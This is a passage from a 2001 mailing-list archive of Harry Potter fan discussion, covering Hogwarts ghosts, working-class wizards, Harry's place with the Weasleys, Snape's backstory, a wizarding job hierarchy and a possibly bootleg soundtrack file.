came along, I thought, "I hope I could have one!")

> my question, thougth, whatever, is: does it say anywhere
> that Ghosts come from Muggles and Wizards/Witches alike?
> Are they only from magical people (therefore, any thoughts
> about the Fat Friar being one, and same with Bloody Baron
> and NHNick? 

What an interesting question!

Ghosts seem magical in themselves.  If a Muggle dies and becomes a 
ghost, he/she basically is becoming magical:  able to pass through 
walls, float, etc.  Maybe death is one way Muggles can enter the 
magical world.

Amy
now wondering if she were less happy, could she become a ghost and go 
to Hogwarts after her death

P.S.  I hope the tornado damage was minimal




From jeremy_t_williams at hotmail.com  Tue Sep 25 15:47:02 2001
From: jeremy_t_williams at hotmail.com (Jeremy Williams)
Date: Tue, 25 Sep 2001 08:47:02 -0700
Subject: [HPforGrownups] some thoughts about the Ghosts
Message-ID: <F223T5SnfHQrceP3eFy00008395@hotmail.com>

No: HPFGUIDX 26680

I remember reading an interview with JKR saying something like, "Only the 
unhappiest people become ghosts when they die," which would explain Moaning 
Myrtle.  But what about the house ghosts?  Were they unhappy when they were 
alive?  Obviously not everyone becomes a ghost (Lily, James, Cedric, et. 
al.)  My guess is also that "Mudbloods" or "magical muggles" aren't the only 
ones who become ghosts.  My reason for thinking this is that Slytherin and 
Riddle both had the goal of getting rid of all of the muggle-borns.  If they 
would all become ghosts, that really wouldn't work.  In any case, I think 
this is going to become important later on.

Jeremy

jeremy_t_williams at hotmail.com



>From: Maria <maryblue67 at yahoo.com>
>Reply-To: HPforGrownups at yahoogroups.com
>To: HPforGrownups at yahoogroups.com
>Subject: [HPforGrownups] some thoughts about the Ghosts
>Date: Tue, 25 Sep 2001 08:28:11 -0700 (PDT)
>
>Ok... here is something i have been thinking about
>lately...
>
>On Sunday (i wanted to post this before, but i had a few
>problems, amongst them a tornado hiting my university
>campus yesterday... ), when i was at the catholic mass, the
>homily explained the miracle of some saint/priest/monk who
>had been dead for a few years and someone saw him. This
>lead me to think about the Fat Friar (i'm getting a bit
>obsessed with HP, i know). If the Fat Friar was a religious
>person, then i doubt that he was a Magical Person. He must
>have been a Muggle. Then you have the Bloody Baron and
>Nearly Headless Nick, who seem to have been Muggles too (or
>at least, don't seem to have had the life a Wizard would -
>one being a noble person, and the other one... well, it
>doesn't strike me as a wizard). About the Grey Lady, there
>is nothing but guesses around, most of which assume that
>she is a witch, someone's relative, like Harry's or
>Voldemort's. On the other hand, Prof. Binns was a Wizard
>who became a ghost.
>
>my question, thougth, whatever, is: does it say anywhere
>that Ghosts come from Muggles and Wizards/Witches alike?
>Are they only from magical people (therefore, any thoughts
>about the Fat Friar being one, and same with Bloody Baron
>and NHNick?
>Well, i am still thinking about this, but other opinions
>would be very welcome!!
>
>Take care
>
>
>=====
>Maryblue
>----------------------------------------------------------
>"Gravitation cannot be held responsible for people falling
>in love" - Eistein
>
>__________________________________________________
>Do You Yahoo!?
>Get email alerts & NEW webcam video instant messaging with Yahoo! 
>Messenger. http://im.yahoo.com


_________________________________________________________________
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From joym999 at aol.com  Tue Sep 25 16:36:20 2001
From: joym999 at aol.com (Joy M)
Date: Tue, 25 Sep 2001 16:36:20 -0000
Subject: In defense of the Working Class, was Re: Work after Hogwarts?
In-Reply-To: <4.2.0.58.20010921085021.00abe4a0@mail.mcn.org>
Message-ID: <9oqbq4+ca4a@eGroups.com>

No: HPFGUIDX 26681

--- In HPforGrownups at y..., Catherine Keegan <keegan at m...> wrote:

an excellent post on employment opportunities for wizards. (thanks, 
Catherine)

However, I have one small disagreement.

> Knight Bus is an alternate form of transportation (and, it seems, 
where the 
> students who flunk out of Hogwarts go for jobs...).

Many, many people have expressed the opinion that certain HP 
characters such as Stan Shunpike, Ernie Prang, Rosmerta, and perhaps 
others must have flunked out of Hogwarts or been educated elsewhere, 
or not at all.

I completely disagree with this.  There is NO evidence that Stan or 
Ernie or anyone else (except Hagrid and that's different) flunked out 
of Hogwarts, nor have we been presented with any evidence that some 
wizards and witches are not intelligent enough to go to Hogwarts.  In 
fact, JKR has stated quite clearly that there is a magical quill 
which writes down the name of every magical child born, and 11 years 
later that child receives a letter inviting them to attend Hogwarts.

I think it is completely unfair to assume that because someone has a 
working class job that they are somehow stupid, uneducated, or 
ineducable.  Rosmerta works in a pub in Hogsmeade whose name I've 
forgotten which some LOON will no doubt remind me of.  I believe it 
is also implied that she owns the pub, although I could be making 
that up.  Owning your own business, no matter how small or mundane, 
is no easy task.  You have to have a basic understanding of 
accounting, management, and customer service. Rosmerta would also 
have to have some knowledge of cooking, bartending, and how to 
control crowds of rowdy, drunk wizards and drunk, inexperienced 
students wizards.

People have said that Stan Shunpike seems a little dim because he 
continues to call Harry "Neville" even after he learns who he is -- 
but he also seems to have a pretty good philosophical understanding 
of how the world works.  Perhaps I'm biased, since he is the author 
of what is my personal favorite HP line:

  "How come the Muggles don't hear the bus?" said Harry.
  "Them!" said Stan contemptuously.  "Don't listen properly, do 
they?  Don't look properly either.  Never notice nuffink, they don'."

He also has a accent, which, in my very limited knowledge of British 
accents I have assumed is some sort of lower class accent.  However, 
for all I know it is a regional accent of some sort.  And a lot of 
people would get confused about someone's name when introduced to 
someone as "Neville" only to find out he's really "Harry."  And for 
all we know, Stan or Ernie or both could be highly skilled wizards 
who create the spells that cause houses, lampposts and mailboxes to 
move out of the way of the Knight Bus, not to mention make the bus 
jump from one part of England to another.  Maybe they got their jobs 
because they got excellent grades in Advanced Apparation of Moving 
Vehicles.

And even if Stan, or Ernie or anyone else, is not that bright, what 
about Crabbe and Goyle?  By all accounts, they are idiots.  No one 
has ever suggested that they are too dumb to go to Hogwarts, except, 
perhaps, many of us here at HP4GU.

I know that the great and knowledgable Lexicon Steve (I mean that as 
a compliment, and I really hate to disagree with Steve but I just 
have to, just this once.) feels that Ernie, Stan, Rosmerta, etc. 
probably did not go to Hogwarts, and that the reason Crabbe and Goyle 
are allowed to go to Hogwarts because of the advantage of coming from 
rich and powerful families, since family connections can make up for 
lack of intelligence in terms of getting ahead in the world.  (If 
political comments were allowed on this list we could speculate that 
family connections might even allow someone with limited intellectual 
abilities to become president, but since that's not allowed I won't 
mention it.)  While it is true that family connections can get you 
into college or a job even if your academic qualifications are not 
too good, we don't really know anything about Crabbe and Goyle's 
families except that their fathers, or mothers, or both, are death 
eaters and friends of the Malfoy's.  For all we know, Crabbe, Sr. 
shovels manure on the Malfoy's Pig Farm and Goyle, Sr. is the janitor 
at the MoM.  (Well, yeh, they probably do have elves for those tasks, 
but you know what I mean.)

Lots of smart people drive buses and conduct buses and work as 
waitresses.  I've waitressed myself, and I now I am working on my 
PhD.  Does that mean I used to be stupid and now I'm smart?

Anyway, that's my two knuts in support of Stan, Ernie, Rosmerta and 
working class wizards and witches in general.

--Joywitch, who is going to go make little badges that say "WOWWW" -- 
World Organization of Working Wizards and Witches.  (1 sickle to join)




From catherine at cator-manor.demon.co.uk  Tue Sep 25 17:12:43 2001
From: catherine at cator-manor.demon.co.uk (catherine at cator-manor.demon.co.uk)
Date: Tue, 25 Sep 2001 17:12:43 -0000
Subject: Harry and the Weasleys (Was Cutting Ron A Break)
In-Reply-To: <F204c0Ne0PaLI9mK6PY00005a11@hotmail.com>
Message-ID: <9oqduc+r88q@eGroups.com>

No: HPFGUIDX 26682

--- In HPforGrownups at y..., "Amber ?" <inviziblegirl at h...> wrote:
> I think JKR is going to further emphasize the jealousy that Ron 
feels for 
> Harry, which is a ripe area for conflict. She could also emphasize 
the 
> jealousy that Harry feels towards Ron's family.

This comment really made me think.  The thought has never crossed my 
mind that Harry could be jealous of Ron and his family - and I'm 
pretty convinced that he is not.  In fact, apart from Harry's little 
burst of jealousy over Cedric and Cho, which was not something that 
seemed to eat away at him as Ron's jealousies do, I would have said 
that jealousy was an emotion which doesn't bother Harry to much at 
all.

Sure, he thinks that Ron is lucky to have a family like the Weasleys, 
and probably finds it hard to understand why Ron doesn't seem to 
appreciate them.  I'm also pretty sure that he would like to spend 
more time at the Burrow (most of my favourite scenes which are of 
substantial length are those which take place a the Burrow ? I think 
it's wonderful).   However,  just look at Harry's own position in the 
household, compared to Ron's ? it seems much better in many ways:

Mr and Mrs Weasley obviously adore him - Mr Weasley, partly because 
he is a mine of information on Muggles (see the first visit when he 
sits Harry next to him at every mealtime, purely so that he can grill 
him on plugs and eceltricity, or whatever),  Mrs Weasley because she 
feels sorry for him because of his upbringing with the Dursleys and 
because of who he is.  Her attitude often seems sentimental, but is, 
IMO, grounded in common sense and  compassion for his plight.  She 
mothers him (Harry always gets extra hugs from her - see beginning of 
PoA) as though to compensate for the lack of a mother in his life, is 
there for him at the end of GoF, fusses over his clothes, sends him 
Christmas presents which are as good as, if not better, than Ron's.

The twins.  They have always, apart from the time in PS when Harry 
lost all the points from Gryffindor, been his friends, allies, court 
jesters
they don't tease Harry in the same way they do Ron, they are 
impressed by his Quidditch prowess, and, what I think is the most 
significant, they gave him the Marauder's Map, not Ron.  Ron remarks 
upon this himself, "How come they didn't give it to me, I'm their 
brother!" (para).  It could be argued that they gave the map to Harry 
because he needed it to get into Hogsmeade and Ron didn't ? but this 
is a nonsense really, because they could have given it to Ron and 
told him to let Harry use it.  I would therefore go as far as to say 
that if Ron thinks about this at all, he is probably jealous of the 
relationship Harry has with the twins, not the other way round.

Charlie and Bill.  Again, they treat Harry like a favoured younger 
brother, not like a run-of-the-mill-indistinguishable-from-the-rest 
younger brother.  Bill takes time off work in order to support Harry 
during the Third Task, and is by Harry's bedside after the 
confrontation with and escape from Voldemort.  Charlie is also very 
impressed with Harry's flying, and rushes off to owl Mrs Weasley, so 
she can stop worrying about Harry ? again, such concern for someone 
who is ostensibly her youngest son's best friend.

Percy and Ginny.  Well, nothing more needs to be said about Ginny 
beyond mentioning her name.  Percy as well, treats Harry well.  
Courteous, verging on friendly, protective of him such as when "he 
was tailing him everywhere like an extremely pompous guard dog" (PoA: 
Ch 9) allegedly on his mother's orders, but we don't actually know 
this, and the fact is that is proof again of Percy's heart of gold 
(sorry, had to get that in there somewhere).  This might seem 
tenuous, but during the Yule Ball, as well, it is Harry Percy wants 
to sit next to, not Krum, not Fleur Delacour,  he also doesn't seem 
interested in toadying to Ludo Bagman during dinner either (and this 
isn't because he doesn't want to ? he does, later).

Therefore, in a rather, unsophisticated, rambling way, I'm trying to 
show, that besides the fact that Harry doesn't feel jealousy for Ron 
over his family, nor does he need to.  His place in the household is 
very much as an honorary member, and I can't see any of their 
attitudes to him changing in the foreseeable future, unless Ginny 
loses her crush. 

It is possible that Harry could see as his position there as being 
tenuous, and he probably thought about this when Ron and he had the 
falling out in GoF.  This thought process could have resulted in him 
feeling that he would wish to be part of the family in his own right, 
without it being reliant on his friendship with Ron.  But Harry does 
love Ron, and as much as I have disliked Ron in PoA and GoF, I can't 
see them ever wanting to prolong an argument.  It would be 
interesting to see if in the future if, when an argument has occurred 
because Ron is in the wrong (I am sure he would be and not Harry!), 
Harry would back down regardless.  If he does, I think that it would 
partly be to do with the relationship he has with Ron's family.  

It is not inconceivable though, that even if he did have a seemingly 
irrevocable break with Ron, that the rest of the Weasleys would still 
treat him the same.  One final word ? it could be said that the 
Weasleys treat Harry so well, not just because of his being Ron's 
friend, but because he is "the famous Harry Potter."  It is possible 
there was an element of this very early on.  However, the family just 
aren't like that on a day to day basis.  As Harry notices on his very 
first visit to the Burrow ? they all seem to like him.

Catherine








From borg3892000 at yahoo.com  Tue Sep 25 17:40:16 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Tue, 25 Sep 2001 17:40:16 -0000
Subject: Harry Potter Movie Soundtrack
In-Reply-To: <9oq49m+bp8s@eGroups.com>
Message-ID: <9oqfi0+lbdk@eGroups.com>

No: HPFGUIDX 26683

I don't believe this one was from that concert.  The date I 
downloaded it on 8/7, (7 weeks ago), and I got it from an official 
site.

--- In HPforGrownups at y..., "Steve Vander Ark" <vderark at b...> wrote:
> 
> > I don't believe either the midi file or the mp3 file are not to 
be 
> > shared.  The authors themselves made them available to the 
> internet. 
> > But rather than raise the issue, I removed the midi file and 
won't 
> > post the mp3.
> 
> Actually, the mp3 is a bootleg, recorded at the concert in the US a 
> few weeks ago. It was not released legally that I know of. If 
someone 
> knows more about that, by all means say so, but that was what I 
> understood about it. So it's probably a good thing that we don't 
host 
> it here.
> 
> Steve




From margdean at erols.com  Tue Sep 25 17:10:39 2001
From: margdean at erols.com (Margaret Dean)
Date: Tue, 25 Sep 2001 13:10:39 -0400
Subject: [HPforGrownups] Re: Wizarding Caste System [was: In Defense of 
 Hermione]
References: <20010925145931.70610.qmail@web20801.mail.yahoo.com>
Message-ID: <3BB0BA8F.2CE3B440@erols.com>

No: HPFGUIDX 26684

Rowena Grunnion-Ffitch wrote:

>      Others on the list have already pointed out the
> absurdity of turning a wife into her husband's
> employee, (so much for equal partnership) the only
> alternative is state subsidized stay at home Moms
> which in turn would lead to state regulation of
> housekeeping and child raising.

Actually, what makes that suggestion absurd (or another reason it
does so) is that it reduces a very complex relationship to the
merely economic level . . . which is a =reductio ad absurdum= if
I ever heard one.

The real issue with the house-elves isn't wages at all, but
freedom of choice, and I think once Hermione realizes this, her
house-elf liberation movement will be on much firmer ground. 
Hermione needs to exercise her personal strengths and =research=
the problem.  Not only does she have the house-elves themselves
to talk to, there must be documentation on their history and how
they've interacted with the wizarding world in the past.

C'mon, Hermione, hit the books.  You know how . . .  ;)


--Margaret Dean
  <margdean at erols.com>



From caliburncy at yahoo.com  Tue Sep 25 17:49:26 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Tue, 25 Sep 2001 17:49:26 -0000
Subject: Harry and the Weasleys (Was Cutting Ron A Break)
In-Reply-To: <9oqduc+r88q@eGroups.com>
Message-ID: <9oqg36+uhho@eGroups.com>

No: HPFGUIDX 26685

--- In HPforGrownups at y..., catherine at c... wrote:
> The thought has never crossed my 
> mind that Harry could be jealous of Ron and his family - and I'm 
> pretty convinced that he is not.  In fact, apart from Harry's little 
> burst of jealousy over Cedric and Cho, which was not something that 
> seemed to eat away at him as Ron's jealousies do, I would have said 
> that jealousy was an emotion which doesn't bother Harry to much at 
> all.
> 
> Sure, he thinks that Ron is lucky to have a family like the 
Weasleys, 
> and probably finds it hard to understand why Ron doesn't seem to 
> appreciate them.  I'm also pretty sure that he would like to spend 
> more time at the Burrow (most of my favourite scenes which are of 
> substantial length are those which take place a the Burrow ? I think 
> it's wonderful).   However,  just look at Harry's own position in 
> the  household, compared to Ron's ? it seems much better in many 
> ways:

<snip extended list of proof>

This is such a nice and well-argued position that I feel a little 
guilty disagreeing with it, but I must.  The problem here is that 
jealously, at least in all of my observances and experiences, is an 
emotion and therefore not rational.  (All those persons who wish to 
contend that all emotions are really just immensely complex rational 
decisions are invited to read "Notes from the Underground" by 
Dostoyevsky and discuss with me off list.)  Whether or not Harry's 
position is better than Ron's is not really a determining factor in 
whether or not Harry is jealous of Ron.  Facts are colored and changed 
by our perceptions.  Harry may therefore perceive his position as 
worse even if it is not.  For one example, he may see that he has Mrs. 
Weasley's motherly affection, but also see that she will never be his 
mother like she is Ron's.  Therefore, in his mind, he could have 
reason to be jealous--though in fact it is not really the reason which 
led to the jealousy, but the jealousy that caused him to come up with 
that reason.  There is often a sense that someone has something that 
you will never have, and no matter how much the Weasley's incorporate 
Harry into their family, it is entirely possible that Harry will never 
feel like a true part of their family.  I'm not trying to say Harry 
*is* jealous of Ron's family (I think he very well might be, but 
that's not the point), rather that the actually factual preferability 
of one person's position over the other is not really a factor where 
jealousy is concerned.

Again, at least in my observations and experience.

-Luke




From borg3892000 at yahoo.com  Tue Sep 25 17:52:41 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Tue, 25 Sep 2001 17:52:41 -0000
Subject: Harry and the Weasleys (Was Cutting Ron A Break)
In-Reply-To: <9oqduc+r88q@eGroups.com>
Message-ID: <9oqg99+b405@eGroups.com>

No: HPFGUIDX 26686

--- In HPforGrownups at y..., catherine at c... wrote:
> 
> This comment really made me think.  The thought has never crossed 
my 
> mind that Harry could be jealous of Ron and his family - and I'm 
> pretty convinced that he is not.  In fact, apart from Harry's 
little 
> burst of jealousy over Cedric and Cho, which was not something that 
> seemed to eat away at him as Ron's jealousies do, I would have said 
> that jealousy was an emotion which doesn't bother Harry to much at 
> all.

I snipped the bulk of this post for size, although I didn't want to 
snip any.  I wholeheartedly agree with your post, Catherine, and am 
jealous that I didn't write it. ;)




From lake4fam at earthlink.net  Tue Sep 25 18:14:31 2001
From: lake4fam at earthlink.net (lake4fam at earthlink.net)
Date: Tue, 25 Sep 2001 18:14:31 -0000
Subject: James-Lily-Severus triangle
Message-ID: <9oqhi7+9c0v@eGroups.com>

No: HPFGUIDX 26687

   A very intriguing notion.  Postulate:  a young, very handsome (& 
he knows it,) Snape, truly in love with Lily; it's the love that 
makes fools of elders who say that they are too young to know for 
sure.  Severus is Slytherin, which means ambitious and proud.  He's a 
top rank scholar, much better than James, but too proud of his own 
scholarship to feign needing tutoring - from Lily.  He's a talented 
flyer and quite good on the Quidditch pitch - but not as good as 
James, who is inately brilliant.  Severus is reserved, and masks his 
sensitivity behind that reserve, and does it so well that Lily, 
although she tries to see beyond it, sees only the haughty facade. 
   Lily, a young witch in the first glow of her own femininity, 
flirts with Severus, among others, in such a manner that leads him to 
believe that she returns his affection. 
   Thus, when she turns to James in school, she unwittingly deals a 
blow to Severus' heart, and, of course, to his pride.  When she 
marries James, the loss turns Severus bitter, and in this mood,  
Severus is ripe for recruitment into the Death Eaters.
   As time works its healing magic, he becomes more and more 
uncomfortable with his role as a Death Eater, until he does whatever 
it is that he does that earns Dumbledore's trust, and is turned from 
the Dark Side (Star Wars fanfare.)  However, with his one true love 
dead, he no longer really cares about his appearance, hence the 
greasy lank hair; he is genuinely in mourning, and not at all 
interested in getting over it, hence the bitterness that infuses all 
his dealings with other people; and he is really, really pissed off 
(you DID say this was an adult group, yes?) at James, a Griffyndor, 
hence his attitude toward that house in general, and Harry, son of 
the woman Severus loved by the man he hated, in particular.
   Whew!  Is that enough depth from a soi-disant children's story by
a postulant to the Order of the LOON?

Sincerely,

the Tolkien, Star Trek, Pern, Elfquest, Harry fan who signs herself

dittany/custodienne





From inviziblegirl at hotmail.com  Tue Sep 25 18:09:23 2001
From: inviziblegirl at hotmail.com (Amber ?)
Date: Tue, 25 Sep 2001 14:09:23 -0400
Subject: Angry Harry/ Strife
Message-ID: <F676hNo6j3wsGSaVkpC000089d5@hotmail.com>

No: HPFGUIDX 26688


>From: catherine at cator-manor.demon.co.uk
>--- In HPforGrownups at y..., "Amber ?" <inviziblegirl at h...> wrote:
> > I think JKR is going to further emphasize the jealousy that Ron
> > feels for Harry, which is a ripe area for conflict. She could also
> > emphasize the jealousy that Harry feels towards Ron's family.
>
>This comment really made me think.

My comment made someone think? Now, that's something I never expected to 
have happen! *grin*

>The thought has never crossed my
>mind that Harry could be jealous of Ron and his family - and I'm
>pretty convinced that he is not.  In fact, apart from Harry's little
>burst of jealousy over Cedric and Cho, which was not something that
>seemed to eat away at him as Ron's jealousies do, I would have said
>that jealousy was an emotion which doesn't bother Harry to much at
>all.

<snipped a bunch of really, really good points>

Excellent post! I suppose when I said that JKR could emphasize Harry's 
feelings of jealousy for Ron's family, I was kinda reaching. In my mind, 
Ron's family is the one thing that Harry doesn't have (although, someone 
please correct me if I'm forgetting something!). To see/have his own family 
is the thing he most desires, although admittedly, that could've changed 
since SS/PS. It's hard to come up with things that Harry would get upset 
about that would cause a row between him and Ron and Hermione. Harry is 
kinda...complacent? No, that's not the right word...

Let me see, when has Harry gotten really upset/angry?

1)When Aunt Marge insulted his parents.
2)When he found out that Sirius Black was his parents' good friend and 
betrayed them.
3)I suppose the Firebolt incident could be included, although I can't recall 
how upset Harry actually was.
4)When Ron didn't believe that he hadn't put his name into the Goblet.

Hm, I can't think of anything else but I'm at work, away from my books. I'm 
sure others will add to my list!

It seems that family is a touchy point with Harry. Maybe Ron or Hermione 
could insult his parents' memory, but I have a hard time seeing either of 
them doing that, even in anger. He's also not happy when people don't 
believe him (although, honestly, who isn't?).

I suppose the "Farmer In The Dell" theory would work well to put the Trio at 
odds. I must admit, I'm not as fond of this ideas as others are.

Someone, help me! What could Hermione or Ron do to plausibly get Harry 
really upset?

~Amber, She of Limited Memory and Intelligence...

********
http://www.the-tabula-rasa.com
Updated 9/03/01

"Make me sad, make me mad, make me feel alright?"
- Serial Experiments Lain


_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From vderark at bccs.org  Tue Sep 25 18:27:39 2001
From: vderark at bccs.org (Steve Vander Ark)
Date: Tue, 25 Sep 2001 18:27:39 -0000
Subject: Harry Potter Movie Soundtrack
In-Reply-To: <9oqfi0+lbdk@eGroups.com>
Message-ID: <9oqiar+ltul@eGroups.com>

No: HPFGUIDX 26689

--- In HPforGrownups at y..., borg3892000 at y... wrote:
> I don't believe this one was from that concert.  The date I 
> downloaded it on 8/7, (7 weeks ago), and I got it from an official 
> site.

Which official site? There IS no official John Williams site, 
although Sony Classical does have a page for him. The site Hedwig's 
Theme was posted on back in August was NOT official, although it 
looks very slick and professional. In fact, the site where it was 
found has now removed the file with no explanation. That certainly 
sounds fishy, and until we hear otherwise, we have no choice but to 
err on the side of caution. 

Steve Vander Ark
The Harry Potter Lexicon
http://www.i2k.com/~svderark/lexicon




From neilward at dircon.co.uk  Tue Sep 25 18:31:50 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Tue, 25 Sep 2001 18:31:50 -0000
Subject: some thoughts about the Ghosts
In-Reply-To: <20010925152811.88776.qmail@web11106.mail.yahoo.com>
Message-ID: <9oqiim+auo1@eGroups.com>

No: HPFGUIDX 26690

Maria/MaryBlue pondered:

<<does it say anywhere that Ghosts come from Muggles and 
Wizards/Witches alike? Are they only from magical people (therefore, 
any thoughts about the Fat Friar being one, and same with Bloody 
Baron and NHNick? >>

Jeremy added:

<<I remember reading an interview with JKR saying something 
like, "Only the unhappiest people become ghosts when they die," which 
would explain Moaning Myrtle.  But what about the house ghosts?  Were 
they unhappy when they were alive?>>  

Amy Z proposed:

<<Ghosts seem magical in themselves.  If a Muggle dies and becomes a 
ghost, he/she basically is becoming magical:  able to pass through 
walls, float, etc.  Maybe death is one way Muggles can enter the 
magical world.>>

I recall reading somewhere that JKR said something significant would 
be revealed in future books about the ghosts at Hogwarts.  Perhaps it 
was the point that Jeremy makes above, but there is a general view 
that ghosts are people who died with unresolved issues, in which case 
that wouldn't be anything new.  

I like the idea that the Hogwarts ghosts are not necessarily former 
witches and wizards, but Muggle spirits who can stray across the 
boundaries between the two worlds, and Maria has a point, in that the 
titles of the House ghosts do not really marry up with our knowledge 
of the Magical world.   

This question raises some interesting parallels with the skills of 
mediums in the Muggle world, who might be perceived as having some 
magical ability, but not a full set of magical `senses': in other 
words, they sense ghosts and communicate with them, but do not 
interact with them in the same way as a fully-fledged witch or wizard 
could.

A spanner in that wheel is Trelawney, who comes across like a cheap 
sideshow fortune teller, whilst being a resident teacher at the 
finest school for witchcraft and wizardry.   Her apparent ability to 
act as a medium is completely at odds with the fact that everyone 
else chews the fat with the Hogwarts ghosts as if they were flesh and 
blood.   Trelawney doesn't fit in at all
 Hmmm...I wonder why? 
[strokes imaginary beard].

On the other side of the argument is the fact that the House ghosts 
are assigned to the four Houses.  Are we to assume that the Houses 
adopted these ghosts at some point, or were they perhaps former 
students or teachers of Hogwarts who were sorted when they were 
alive?   If so, did the Fat Friar leave Hogwarts as a young wizard 
and decide to enter a Muggle friary to find his inner self or brew 
beer for tourists?  That seems a little unlikely. 

I can't recall now, without referring to the books, if any of the 
House ghosts have referred to "their time" at Hogwarts, in the sense 
of having been there in life.  I have a vague idea that Nick does 
make such a reference.  C'mon L.O.O.N.s ? do your worst!

Neil/Flying Ford Anglia

________________

PS: Any takers for H.O.W.L.![Hands Off Werewolf Lupin!]?





From cynthiaanncoe at home.com  Tue Sep 25 18:30:06 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Tue, 25 Sep 2001 18:30:06 -0000
Subject: In defense of the Working Class/Pecking Order
In-Reply-To: <9oqbq4+ca4a@eGroups.com>
Message-ID: <9oqife+10rk1@eGroups.com>

No: HPFGUIDX 26691

--- In HPforGrownups at y..., "Joy M" <joym999 at a...> wrote:
> I completely disagree with this.  There is NO evidence that Stan or 
> Ernie or anyone else (except Hagrid and that's different) flunked 
out 
> of Hogwarts, nor have we been presented with any evidence that some 
> wizards and witches are not intelligent enough to go to Hogwarts.  
In 
> fact, JKR has stated quite clearly that there is a magical quill 
> which writes down the name of every magical child born, and 11 
years 
> later that child receives a letter inviting them to attend Hogwarts.
> 
> I think it is completely unfair to assume that because someone has 
a 
> working class job that they are somehow stupid, uneducated, or 
> ineducable.  


Joy, you make a host of excellent points, and I am inclined to 
agree.  But there definitely seems to be a job heirarchy in the 
wizarding world.  The Minister of Magic is surely on top.  As we have 
seen, Fudge can get away with having someone's souls sucked out by 
dementors, and no one bats an eye.

So who is on the bottom?  Well, I can only guess that people 
generally wind up in positions suited to the magical talent they 
possess.  Squibs and wizards with incomplete educations seem on the 
bottom (sorry, Hagrid).  Others wind up on the bottom due to 
prejudice (werewolves and house elves).

But what about the vast middle?  Is it better (in terms of prestige 
and pay) to be the nurse/doctor at Hogwarts than a Gringotts' curse 
breaker?  Is it better to sell wands than to breed dragons in 
Romania?  Hard to say.  

The only heirarchy I feel reasonably confident about is:

Minister of Magic
Hogwarts Board of Govenors
Hogwarts Headmaster  
Other MoM Department Heads (with its own internal pecking order)
Hogwarts Teachers (with its own internal pecking order)
Hogwarts GameKeeper, a job that requires little magic
Hogwarts Caretaker, a job that requires no magic

Although Dumbledore is pretty high up in this list, he is certainly 
vulnerable in light of his unwarranted suspension in CoS.  Perhaps 
other roles can be wedged somewhere in this heirarchy (assuming 
anyone even agrees with this bare bones structure)?

Cindy (wondering why Filch would want to be dead last in the pecking 
order than take his chances in the Muggle world)




From jeremy_t_williams at hotmail.com  Tue Sep 25 18:34:12 2001
From: jeremy_t_williams at hotmail.com (jeremy_t_williams at hotmail.com)
Date: Tue, 25 Sep 2001 18:34:12 -0000
Subject: James-Lily-Severus triangle
In-Reply-To: <9oqhi7+9c0v@eGroups.com>
Message-ID: <9oqin4+9444@eGroups.com>

No: HPFGUIDX 26692

Absolutely!  This is a theory that my wife and I postulate.  We add 
the following: Severus found out that Voldemort wanted Lily dead and 
his devotion to her was stronger than that to the Dark Lord.  
Therefore, he turns back and becomes a spy for Dumbledore.  He hates 
Harry additionally because if it were not for Harry, Lily would still 
be alive.




From cynthiaanncoe at home.com  Tue Sep 25 18:36:07 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Tue, 25 Sep 2001 18:36:07 -0000
Subject: 14.  Who is Mundungus Fletcher
In-Reply-To: <9ofnb3+ut9u@eGroups.com>
Message-ID: <9oqiqn+eq01@eGroups.com>

No: HPFGUIDX 26693

> --- In HPforGrownups at y..., quite_serious at h... wrote:
> > > "Why are they all sending Howlers?" asked Ginny.
> > > 
> > > "Complaining about security at the World Cup," said Percy.
> > > "They want compensation for their ruined property. Mundungus 
> > > Fletcher's put in a claim for a tweleve-bedroomed tent with 
> en-suite 
> > > Jacuzzi, but I've got his number. I know for a fact he was 
> sleeping 
> > > under a cloak propped on sticks."
> > > 
Milz wrote:  
Mundungus 
> Fletcher was the one who almost "got" Arthur Weasley with some kind 
of 
> spell during a Ministry raid for misuse of muggle artifacts in CoS.
> 


So Mundungus Fletcher tried to put in an exaggerated claim for his 
tent?  He almost hexed Arthur Weasley?

Uh oh.  I am starting to wonder if Mundungus Fletcher could be a 
lawyer or barrister.  I don't know if barristers have the same 
tainted reputations that we lawyers in the states do, but if so, then 
perhaps JKR is setting us up for an eccentric, vexing lawyer in OoP.  
Maybe Mundungus' first client will be Percy, who will be accused of 
the disappearance of his boss, Mr. Crouch.

Cindy 




From rowena_grunnion_ffitch at yahoo.com  Tue Sep 25 18:42:00 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Tue, 25 Sep 2001 11:42:00 -0700 (PDT)
Subject: [HPforGrownups] In defense of the Working Class, was Re: Work after Hogwarts?
In-Reply-To: <9oqbq4+ca4a@eGroups.com>
Message-ID: <20010925184200.23312.qmail@web20803.mail.yahoo.com>

No: HPFGUIDX 26694

    In all justice to the Wizarding World the Malfoys
are the only denizens thereof to exibit snobbish
classism.
   At Hogwarts the gamekeeper eats at the high table
along with the teachers, (and probably the custodian
too if he likes). Cornelius Fudge has no problem
sharing a drink with Hagrid and readily invites Madame
Rosmerta to join them. Nor does she hesitate to
complain to the minister about dementors driving away
her business. Fudge may be overly impressed by old
wealth and 'pure blood' but he doesn't seem to look
down on working class wizards, nor does anybody else
except, predictably, the Malfoys.

--- Joy M <joym999 at aol.com> wrote:

>  (If  political comments were allowed on this list
we
> could speculate that 
> family connections might even allow someone with
limited intellectual 
> abilities to become president, 

    Or somebody with poor people skills and a slight
disconnect from reality to become a senator, vice
president and a presidental candidate. People who live
in glass houses....

 we don't really know anything about Crabbe
> and Goyle's 
> families except that their fathers, or mothers, or
> both, are death 
> eaters and friends of the Malfoy's.  For all we
> know, Crabbe, Sr. 
> shovels manure on the Malfoy's Pig Farm and Goyle,
> Sr. is the janitor 
> at the MoM.  

    Good point. From what little we see of them in GoF
Crabbe and Goyle Sr. seem to be as big and dim as
their sons and large, stupid people might belong to
any social class. 

__________________________________________________
Do You Yahoo!?
Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger. http://im.yahoo.com



From borg3892000 at yahoo.com  Tue Sep 25 18:46:18 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Tue, 25 Sep 2001 18:46:18 -0000
